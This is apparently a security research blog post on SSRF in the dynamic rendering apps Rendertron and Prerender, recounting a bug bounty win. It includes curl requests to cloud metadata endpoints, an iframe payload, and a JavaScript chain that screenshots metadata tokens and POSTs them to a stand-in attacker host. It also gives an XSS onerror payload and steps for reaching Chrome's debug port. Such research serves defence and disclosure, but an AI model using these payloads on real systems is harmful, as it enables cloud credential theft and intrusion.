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Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for
research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs
because this text says so.

tl;dr:

Dynamic rendering is a technique used to serve prerendered web site pages to crawlers (e.g.,
Google search engine, Slack or Twitter bots, etc.)

The most popular open source applications for dynamic rendering are Rendertron and
Prerender; both of which may introduce vulnerabilities to a network if used improperly.

I used a vulnerability in Rendertron to take over a production web application and earn $5,000
through a bug bounty program.

Introduction

Modern JavaScript frameworks are heavily utilized for web site development nowadays. Instead of
plain HTML pages, we now have PWAs (progressive web applications) and SPAs (single page
applications) that do most of the work in the client's browser and use JavaScript to generate the
contents of the page on the fly.

This technology has many advantages and can be effective at creating a sleek UI and UX, but at the
same time, it is not SEO friendly, because crawlers and bots are not developed to render or
understand JavaScript. One of the common ways to help bots get valid HTML content is to open a
requested page in a headless browser instance on the server, such as Puppeteer or Playwright, get
the resulting HTML, strip parts that are not intended to be crawled and return it. This approach is
called dynamic rendering and is promoted by Google as one of the possible ways to serve content.

https://en.wikipedia.org/wiki/Search_engine_optimization
https://pptr.dev/
https://github.com/microsoft/playwright
https://developers.google.com/search/docs/guides/dynamic-rendering


I came across this type of application while doing a security review of packages in the Node.js
ecosystem on possible vulnerabilities that may appear when utilizing headless browsers in
production. I wrote Semgrep rules and ran them at scale to detect possible vulnerable uses of
headless browsers.

 

The rules are available in a Semgrep pack here: https://semgrep.dev/p/headless-browser

These Semgrep rules produced many results to triage and after investigating them I found out that
a significant number of modules that use headless browsers are intended to help webmasters
with dynamic rendering.

Due to the growing popularity of this concept, I believe it is important to investigate and
understand what can go wrong while using dynamic rendering in production.

The scope of this research includes the two most popular open-source dynamic rendering
applications, Rendertron and Prerender, but the described attacks may be applied to other
applications of this type as well. I'll also share how I was able to apply this knowledge to take over
a production web server with a few curl requests and earn a $5,000 bug bounty.

Architecture

If a web page is generated dynamically on the client but needs to be properly indexed by search
engines, a common approach is to catch a request from the crawler or bot, render it server-side,
and output the pretty HTML with all the content. That flow generally looks like this:

[ [image: dynamic rendering architecture] ]
(https://r2c.dev/static/2961b2490dc7a3326f9434f550015ebf/077b7/dynamic-rendering-arch.png)

The web server detects crawlers by checking the User-Agent header (or URL query in some
cases).

Requests are routed to the rendering application.

The rendering application runs a headless browser and opens the original requested URL,
which will render the page as if viewed by a user with a browser.

The resulting HTML is stripped of <script>  tags and returned to the web server.

The web server returns the dynamically rendered page to the crawler.

How to identify a dynamic rendering application

First of all, dynamic rendering is intended to be used with web pages that need to be indexed
properly, so they are publicly available by definition. On top of that, prerendering makes sense
only if most of the content on the page is generated by JavaScript (usually with a JS framework like
React, Angular, Vue, etc.) and created dynamically at the same time. Some examples include: the
main page of a news website that updates in real-time or an online store page with a list of the
most popular products.

https://semgrep.dev/p/headless-browser
https://github.com/GoogleChrome/rendertron
https://github.com/prerender/prerender
https://r2c.dev/static/2961b2490dc7a3326f9434f550015ebf/077b7/dynamic-rendering-arch.png


When a candidate site is found, you can identify if dynamic rendering is possible by sending
multiple requests to the same page but with different User-Agent headers (remember, dynamic
rendering tries to render pages for crawlers):

curl -v -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 S

curl -v -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://shop.polymer-project.org/

If the curl results are different and the response for the fake crawler request has pretty HTML
without any <script>  tags, it means that the website is using dynamic rendering.

You can test this with https://shop.polymer-project.org/ as an example — it is a demo site for
demonstrating dynamic rendering.

[ [image: compare two requests with curl] ]
(https://r2c.dev/static/37e85859c307b4cdec09b478c3ed9636/d5682/dynamic-rendering-curl.png)

If you want to see how each app responds to various User-Agent headers, you can check out the
code itself:

https://github.com/prerender/prerender-node/blob/f9c5e12b0e271ded3e3cb6c70b703485280ec9
d6/index.js#L37

https://github.com/GoogleChrome/rendertron/blob/a1dd3ab1f054bc19e89dcdecdb71dc004f7d06
8e/middleware/src/middleware.ts#L24

In addition, Rendertron will return the following header: X-Renderer: Rendertron . Prerender has an
option for adding an X-Prerender: 1  header, but it is not default behavior.

Lastly, both Rendertron and Prerenderer parse specific meta tags in order to change response
headers or HTTP status codes. In other words, it gives developers the opportunity to manipulate
rendering results by leaving meta tags in the source code of the page. These can also be used to
identify a dynamic rendering application.

For Prerender they look like this:

<meta name="prerender-status-code" content="302" />

<meta name="prerender-header" content="Location: https://www.google.com" />

For Rendertron:

<meta name="render:status_code" content="404" />

Easy SSRF

https://shop.polymer-project.org/
https://r2c.dev/static/37e85859c307b4cdec09b478c3ed9636/c1b63/dynamic-rendering-curl.png
https://github.com/prerender/prerender-node/blob/f9c5e12b0e271ded3e3cb6c70b703485280ec9d6/index.js#L37
https://github.com/prerender/prerender-node/blob/f9c5e12b0e271ded3e3cb6c70b703485280ec9d6/index.js#L37
https://github.com/GoogleChrome/rendertron/blob/a1dd3ab1f054bc19e89dcdecdb71dc004f7d068e/middleware/src/middleware.ts#L24
https://github.com/GoogleChrome/rendertron/blob/a1dd3ab1f054bc19e89dcdecdb71dc004f7d068e/middleware/src/middleware.ts#L24


It’s easy to take advantage of a dynamic rendering app when it is publicly available because it
allows you to interact with the app directly and send arbitrary requests, including to local
endpoints. There are some restrictions for accessing local infrastructure, but depending on the
version of the dynamic rendering app, they can be bypassed.

Rendertron

Rendertron is quite easy to identify because it has a web frontend that allows you to send
requests and take screenshots of the requested page.

[ [image: Rendertron] ]
(https://r2c.dev/static/eaae36db20f54f61637810aeea43748d/4971b/dynamic-rendering-
rendertron.png)

Version 3.1.0 has allow-listing option to restrict rendering to a given list of domains or URL
patterns (but it needs to be configured:))

Version 3.0.0 blocks any requests to Google Cloud—however, this can bypassed by requesting
metadata endpoints inside an iFrame. This restriction does not apply to other cloud providers
(AWS, DigitalOcean, etc.) and are still a danger!

Older versions block requests to Google Cloud but allow requests to its beta version
http://metadata.google.internal/computeMetadata/v1beta1/  (deprecated since September 30)

Version 1.1.1 and older allow all kinds of requests

Rendertron’s API (from the docs):

GET /render/:url The render endpoint will render and serialize your page.

GET /screenshot/:url POST /screenshot/:url The screenshot endpoint takes a screenshot of your
page (as an image).

Additional options are available as a JSON string in the POST body. See Puppeteer documentation
for available options. You cannot specify the type (defaults to jpeg) and encoding (defaults to
binary) parameters.

So, when you stumble upon a Rendertron instance, it is worth trying to perform a SSRF attack and
exfiltrate cloud tokens like this:

curl https://rendertron-instance.here/render/http://metadata.google.internal/computeMetadata/v1beta1/instance/ser

or,

curl https://rendertron-instance.here/render/http://169.254.169.254/latest/meta-data/

(This is a great resource for SSRF payloads.)

If requests are blocked, there is still a chance to force the headless browser to fetch an iFrame and
output a screenshot of the metadata endpoint by sending requests to /screenshot and forcing the
server to visit a website you control:

https://r2c.dev/static/eaae36db20f54f61637810aeea43748d/4971b/dynamic-rendering-rendertron.png
https://github.com/GoogleChrome/puppeteer/blob/v1.6.0/docs/api.md#pagescreenshotoptions
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery


curl https://rendertron-instance.here/render/http://www.attackers-website.here/iframe-example

The HTML at www.attackers-website.here includes an iFrame with the metadata endpoint. This
forces Rendertron to fetch the attacker HTML and render the page on its own server. This means
that the iFrame will also be resolved on its own server.

<html>

  <head>

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />

  </head>

  <body>

    <iframe

      src="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

      width="468"

      height="600"

    ></iframe>

  </body>

</html>

This outputs a screenshot of the iFrame containing the cloud instance metadata. [ [image: Rendert
ron iFrame hack] ](https://r2c.dev/static/0e9c2b61133020bcb36284326fe1ff4d/a4d88/dynamic-
rendering-iframe.png)

 

Patched in 3.1.0 version

Prerender

Prerender does not have a GUI frontend and is not as easy to identify. Worse, requests to / return
400 without any interesting headers:

HTTP/1.1 400 Bad Request

 text/html;charset=UTF-8

 Accept-Encoding

 Mon, 03 Aug 2020 06:55:29 GMT

Prerender API

GET /:url GET /render?url=:url POST /render?url=:url

list of options can be found in the docs, main takeaways:

Prerender is also able to a create screenshots

followRedirects  (false by default) follow 301 redirects if true

https://r2c.dev/static/0e9c2b61133020bcb36284326fe1ff4d/a4d88/dynamic-rendering-iframe.png
https://r2c.dev/static/0e9c2b61133020bcb36284326fe1ff4d/a4d88/dynamic-rendering-iframe.png
https://github.com/GoogleChrome/rendertron/releases/tag/3.1.0
https://github.com/prerender/prerender#url


The only way to identify if an application is using Prerender is to send a request like /render?

url=http://www.example.com  and check the output. Prerender does not have any built-in protection
from cloud data exfiltration but does allow users to configure blacklists and whitelists, so
depending on its configuration, chances are that it may be possible to request cloud tokens like

curl https://rendertron-instance.here/render?url=http://169.254.169.254/latest/meta-data/

On top of that, Prerender connects to headless Chrome through the debug interface, which opens
on the hardcoded port 9222.

So if local requests are allowed, it’s possible to figure out the Chrome debug ID

curl https://rendertron-instance.here/render?url=http://localhost:9222/json/

And then send WebSocket requests to the headless Chrome directly and manipulate it, e.g., open
new tabs, send arbitrary requests, open local files.

Both Rendertron and Prerender introduce a possibility of SSRF into the environments in which
they’re used. Even if cloud endpoints are restricted, it still may be possible to send requests to
other parts of a target’s local infrastructure, e.g., cache servers or DBs.

I found a few Rendertron instances exposed to the public while doing this research, but none of
them belong to any bug bounty program, so I stopped there.

Attacks through the web application

In my case, to hunt for dynamic rendering apps, I simply sent a request to every domain and
endpoint from bug bounty lists available to me with User-Agent: Slackbot blabla  and found only one
target that responded with X-Renderer: Rendertron  -- but it was enough to earn a bounty. �

If a dynamic rendering app is not exposed to the public but but you know a site is using one, it
may still be possible to perform the attacks mentioned above using an open redirect. The
rendering application can still be reached if the page that is proxied to it for rendering allows an
open redirect (which many companies do not consider a vulnerability) or any kind of HTML or
JavaScript injection (whether it is a vulnerability or a feature of the website).

If an open redirect exists and redirects are allowed on the instance of the rendering app, attacking
it should be as easy as sending one request with curl. For example:

curl -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://www.website.com/redirectUrl=http://metad

curl -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://www.website.com/redirectUrl=http://169.2

It is possible to request sensitive data through the iFrame if direct access is restricted.



[ [image: Rendertron iFrame hack] ]
(https://r2c.dev/static/8a860fa9b7f4052d755fd7476210e8b7/1f038/dynamic-rendering-iframe-
hack1.png)

The one Rendertron instance I found among bug bounty targets had an open redirect, so this
worked for me. Looking for XSS or HTML injection seemed like a hard task to tackle at that
moment, so I focused on exploring open redirect opportunities.

Most open redirect cheatsheets and tutorials focus on redirects that comes from backend, but the
concept of dynamic rendering applies to single-page applications with rich client-side JavaScript, so
in this type of application, you might have more luck finding open redirects in the frontend code.

This is where Semgrep helped me a lot: I bootstrapped a bunch of Semgrep patterns that would
highlight possible open redirects in JavaScript code and I scanned client-side JavaScript sources of
the target web application with it. Using this approach, I found an open redirect within an hour of
investigation.

 

The set of rules that I used can be found here: https://semgrep.dev/p/clientside-js

After that, the only thing left was to use this open redirect to force the headless browser on the
server to retrieve the cloud metadata token for me:

[ [image: Bugbounty] ](https://r2c.dev/static/27ae220bff568abb064d75fa01f1c99b/2ed34/dynamic-
rendering-bounty1.png)

(URL was changed to keep information about private bug bounty secret)

It worked, and the program gave me a $5,000 bug bounty as a result!

I was lucky to come across an outdated version of Rendertron that does not restrict direct access
to metadata endpoints. But if direct access to metadata endpoints was restricted, it may still be
possible to request it in an iFrame. The only problem is how to fetch the contents of the iFrame.
This is where the screenshot feature comes in handy! The final attack in this case would be:

[ [image: Rendertron hack sequence] ]
(https://r2c.dev/static/2d44b7eb90aa64ecbd368338d28c1864/10a83/dynamic-rendering-
sequence.png)

1 An attacker-controlled HTML is opened in a headless browser tab - page #1

<html>

  <body>

    <script type="text/javascript">

      fetch(

        "http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html"

      );

    </script>

  </body>

</html>

https://r2c.dev/static/8a860fa9b7f4052d755fd7476210e8b7/c1b63/dynamic-rendering-iframe-hack1.png
https://semgrep.dev/p/clientside-js
https://r2c.dev/static/27ae220bff568abb064d75fa01f1c99b/c1b63/dynamic-rendering-bounty1.png
https://r2c.dev/static/2d44b7eb90aa64ecbd368338d28c1864/c1b63/dynamic-rendering-sequence.png


2 This forces the browser to send the request to itself (locally), and that will render the results of
the rendering app rendering the results of the attacker-controlled web page. ( page #2 )
http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html

3 Headless browser opens URL ( page #3 ) that sends the request to the rendering app again
http://localhost:3000/render/http://www.attackers-website.url/exploit.html

4-5 headless browser opens attacker controlled website http://www.attackers-website.url/exploit.html

( page #4 ) with the following HTML

<html>

  <body>

    <img

      id="hacked"

      src="http://localhost:3000/screenshot/http://metadata.google.internal/computeMetadata/v1beta1/?width=800&he

      width="800"

      height="800"

    />

    <img

      src="x"

      onerror='(n=0,i=document.getElementById("hacked"),i.onload=function(){n++;e=document.createElement("canvas")

    />

  </body>

</html>



var n = 0;

var img = document.getElementById("hacked");

img.onload = function() {

  n++;

  var canvasEl = document.createElement("canvas");

  (canvasEl.width = img.width),

    (canvasEl.height = img.height),

    canvasEl.getContext("2d").drawImage(img, 0, 0);

  var imgContent = e.toDataURL("image/png");

  if (n > 1) {

    fetch("http://www.attackers-website.url", {

      method: "POST",

      body: JSON.stringify(imgContent),

    });

  }

};

6-7 it forces browser to fetch a screenshot of the page that contains an iFrame with cloud
metadata (e.g., http://metadata.google.internal/computeMetadata/v1beta1/ )

8 and then send it to the attackers host, but both requests won’t work due to CORS protection
(image is fetched from localhost  while the current URL is http://www.attackers-website.url ).
Nevertheless, the resulting HTML is returned to the headless browser page #3 .

9-10 The same HTML is rendered inside headless browser page #3  but this time all requests work
because CORS rules are not violated (page's host is the same as the image's - localhost:3000 ).

11 Picture with cloud metadata values is sent to the attacker.

 

http://metadata.google.internal/computeMetadata/v1beta1/  endpoint that is widely used in the examples
was deprecated by Google and no longer available. That is why instances of Rendertron which
runs on Google Cloud are not exposing its tokens so easily anymore. Anyway keep in mind that,
methodology and tricks from this research can be applied not only for cloud token exfiltration but
to exploit SSRF in general.

Tips and tricks

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS


Even if all requests to local infrastructure fail, if there’s an open redirect, there is a chance to
implement XSS through it. As mentioned earlier, dynamic rendering apps strip only script and
link tags, so JavaScript code inside HTML attributes remains. That is why redirecting to an
attacker-controlled page like this

  <html>

    <body>

      <img src="x" onerror="alert(1)" />

    </body>

  </html>

will lead to XSS. Not only that -- CORS will be bypassed because the code will be executed under
the same domain.

As mentioned at the beginning of the article, both Rendertron and Prerender parse HTML for
specific meta tags which are used to manipulate response headers. This is not a vulnerability in
itself but may be used in an exploit chain if, for example, an attacker has the opportunity to
inject HTML on the page and needs to manipulate headers for some reason (e.g., override X-
Frame-Options or change some of the CORS related headers).

Also, remember that both Rendertron and Prerender allow configuring allowlists and denylists
for websites that are requested through it, so if your exploit is not working, it is always worth
trying to bypass restrictions by utilizing DNS records.

Summary

Dynamic rendering applications are going to be widely used in the future as they represent a
convenient way to combine modern JavaScript frameworks and SEO-friendly content. We can see
this from companies like Google and more embracing this approach. That is why it is important to
understand the weaknesses that this technology may introduce.

If you are a defender: be aware that headless browsers in your infrastructure may introduce
vulnerabilities if not properly configured. Also, keep in mind that small security omissions may be
the first step to RCE. Fortunately, many of these security misconfigurations can be found with mod
ern static analysis tools.

If you’re on the attacking side: use your powers for good and be ethical. Finally, if you're
developing applications that use headless browsers, consider using Semgrep to speed up your
security testing.
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